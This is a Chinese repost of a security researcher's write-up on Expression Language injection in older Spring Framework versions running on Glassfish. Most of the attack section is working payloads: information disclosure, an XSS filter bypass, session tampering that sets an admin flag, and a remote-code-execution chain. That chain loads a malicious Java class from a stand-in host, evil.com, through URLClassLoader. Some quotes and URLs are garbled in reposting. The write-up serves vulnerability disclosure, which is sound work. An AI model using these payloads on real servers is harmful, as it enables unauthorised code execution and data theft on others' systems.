来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] Remote Code withExpression Language InjectionSpring Framework脆弱性DanAmodio全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中可能会存在风险。在2011年,来自Minded S......
Remote Code with
Expression Language Injection
Spring Framework脆弱性—DanAmodio
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
可能会存在风险。
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
这些版本不支持禁用double EL resolution.
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
EL2.2容器上可能进行远程代码执行。
这是一个原始信息泄露的攻击例子:
请求:
ttp://vulnerable.com/foo?message=${applicationScope}
到达以下内容页面:
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
你也可以做一些其他事情,如这样:
${9999+1}
还可以访问session 对象和beans
${employee.lastName}
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
西,比如XSS.
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
呢?”
因此,我尝试了如下:
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
P
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
回的文本被插入进了spring:message 标签。
这里是一个最终绕过过滤的实例:
http://www.2cto.com /app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1);P/scriptQ
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
经过一番研究,我学习到EL2.2 增加了方法调用。
我写了一个快速测试应用程序代码并且检测一些功能
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
${pageContext.request.getSession().setAttribute(“admin”,true)}
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
“, 1234)}
${“”.getClass().forName(“java.lang.Runtime”)}
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
方法签名invoke(Object obj, Object„ args)
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
题,以让它可以工作起来。
漏洞利用:
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
希望你们中的一些JAVA奇才告诉我我是如此的可笑。
这里有一些我试过的失败的用例,为了试图让它工作的用例:
写文件到文件系统
试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
org.springframework.expression.spel.standard.SpelExpressionParser not found
by
org.glassfish.web.javax.servlet.jsp [194].
利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
利用反射来创建一个新的Runtime(and watch the world burn)
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
使用java.lang.ProcessBuilder
用表达式语言来评估表达式语言
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
“,”".getClass(),null)}
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
我在使用一个空数组通过Method.invoke()时失败了很多次
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
rrayList”).newInstance().toArray())
java.lang.IllegalArgumentException: wrong number of arguments
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
以创建一个恶意class文件并且指向类装载器.
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
public class Malicious {
public Malicious() {
try {
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
} catch (Exception e) {
}
}
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
话中,因此它可以被使用.
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
(“java.util.ArrayList”).newInstance())}
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
我们可以调用的create(string)方法,然后转换对一个URL对象。
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
ere/malicious/classfile/is/located/”).toURL())}
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
恶意类文件被装载并创建,触发远程代码.
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
()}
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com